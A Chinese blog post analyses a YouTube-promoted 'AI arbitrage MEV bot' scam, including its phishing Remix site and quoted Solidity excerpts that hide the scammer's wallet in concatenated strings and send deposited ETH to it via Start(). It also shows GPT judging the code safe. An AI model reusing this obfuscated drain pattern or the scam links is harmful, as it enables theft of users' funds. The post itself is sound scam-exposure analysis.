WEB3安全:详解ChatGPT相关套利MEV机器人诈骗

ContractSecurity / 2024-11-05 / 原文

hello~!这是我第一次发技术博客,多有不足,请多指教
(楼主刚刚转型WEB3方向,我还很菜,之后会慢慢更新智能合约相关文章,多有不足,还请各位前辈多多关照(∠・ω< )⌒★)
话不多说,直接进入正题
最近在X和YouTube上看到了好几次有关AI套利机器人的视频
根据视频所说:“发现一种使用自动化工具在 DeFi 领域赚取被动收入的明智方法!我们独特的机器人旨在分析 Wrapped Ethereum (WETH) 流动性对中的机会,帮助您每天以最小的努力赚取数千美元。”
如此高昂的收益怎能不心动,来让我康康怎么个事~
image image
(视频链接:https://www.youtube.com/watch?v=AOCqJpg6g-U&t=258s)
进入视频后博主可以说讲的头头是道,但全是扯淡,看一下简介里面两个重要信息:

⚙️ Get the source code: https://pastebin.com/raw/rLqJ4VE9 介个是源码

⚡️ 3) Access Remix from PC or Laptop: https://webremixcompiler.pro 介个是编译器地址

image

先进编译器康康:

image
image

图一为博主给的Remix编译器地址,图二为真正的Remix编译器地址,不难发现是个盗版的钓鱼网站,而正版网站版本更新右下角还有网址核对提示
这个就是骗局的第一层,如果你的钱包被盗版网站连接的话资金安全会产生风险

下一步我们来分析源码

https://pastebin.com/raw/rLqJ4VE9

进去后乍一看好像没什么问题,没有直接的攻击方法

丢给GPT康康
image

ok到这里基本上就可以把正常用户骗的差不多了

分析恶意代码执行逻辑

看似合约中有很多是跟uniswap v2合约交互的方法
但是如果去跟的话就可以发现只是定义了但是并没有使用到,而且里面的一些数据都是左手倒右手
比如这部分,这个callMempool在合约中没有被调用过一次,并且里面都是定义类型,没有具体操作逻辑,getMemPoolLength就是左手倒右手
这部分的目的就是迷惑用户以及AI,告诉你“我可是真的有这个功能啊,别说我骗你”
function getMemPoolLength() internal pure returns (uint) {
	return 524502;
}
function callMempool() internal pure returns (string memory) {
	string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
	uint _memPoolSol = 534136;
	uint _memPoolLength = getMemPoolLength();
	uint _memPoolSize = 379113;
	uint _memPoolHeight = fetchContractID();
	uint _memPoolWidth = 308522;
	uint _memPoolDepth = contractData();
	uint _memPoolCount = 692501;
	string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
	string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
	string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
	string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
	string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
	string memory _fullMempool = mempool("0", _allMempools);
	return _fullMempool;
}
实际上的攻击方法是视频中的教程,引导用户部署合约后向合约发送ETH,然后执行start方法
点击查看代码
	function Start() public {
		address to = startExploration(tokenSymbol());
		address payable contracts = payable(to);
		contracts.transfer(getBalance());
	}
问题就出现在了这个上

address to = startExploration(tokenSymbol()); contracts.transfer(getBalance());

to被用startExploration(tokenSymbol())方法赋值了,然后直接用transfer方法把钱转移走辣
startExploration这个函数的核心功能是将一个包含16进制表示的以太坊地址(字符串形式)转换为一个标准的以太坊 address 类型
点击查看代码
	function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
		bytes memory tmp = bytes(_a);
		uint160 iaddr = 0;
		uint160 b1;
		uint160 b2;
		for (uint i = 2; i < 2 + 2 * 20; i += 2) {
			iaddr *= 256;
			b1 = uint160(uint8(tmp[i]));
			b2 = uint160(uint8(tmp[i + 1]));
			if ((b1 >= 97) && (b1 <= 102)) {
				b1 -= 87;
			} else if ((b1 >= 65) && (b1 <= 70)) {
				b1 -= 55;
			} else if ((b1 >= 48) && (b1 <= 57)) {
				b1 -= 48;
			}
			if ((b2 >= 97) && (b2 <= 102)) {
				b2 -= 87;
			} else if ((b2 >= 65) && (b2 <= 70)) {
				b2 -= 55;
			} else if ((b2 >= 48) && (b2 <= 57)) {
				b2 -= 48;
			}
			iaddr += (b1 * 16 + b2);
		}
		return address(iaddr);
	}
tokenSymbol就是把目标地址拼起来然后转为字符串
点击查看代码
	function tokenSymbol() private pure returns (string memory) {
		string memory _mempoolShort = getMempoolShort();
		string memory _mempoolEdition = fetchMempoolEdition();
		string memory _mempoolVersion = fetchMempoolVersion();
		string memory _mempoolLong = getMempoolLong();
		return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, _mempoolLong));
	}
我们来看下具体拼接的东西
点击查看代码
	function getMempoolShort() private pure returns (string memory) { 
		return "0x5";
	}
	function fetchMempoolEdition() private pure returns (string memory) { 
		return "1Da2Fa9022b59D553Ec8416A";
	}
	function fetchMempoolVersion() private pure returns (string memory) { 
		return "d1CdB9D292";
	}
	function getMempoolLong() private pure returns (string memory) { 
		return "AB540";
	}
拼接起来我们得到了这样的一个钱包地址:0x51Da2Fa9022b59D553Ec8416Ad1CdB9D292AB540
去测试网按照视频的教程跑一次这个代码

image

发现实际跟我们的推理是一样的,就很简单的一个转移,只是套了好几个方法罢了

最后

我们来分析下这个钱包:0x51Da2Fa9022b59D553Ec8416Ad1CdB9D292AB540

image

从2024年7月29日到10月19日总计有12个地址被骗13.19个ETH折合人民币244692

这还只是其中之一,还有许多这样的地址

我们要时刻注意合约安全,切勿贪图高利润就动小心思,多动动脑子,都是骗局,WEB3的钱被偷了可不是你想找就能找回的

(文章多有不足,还请各位多多指点)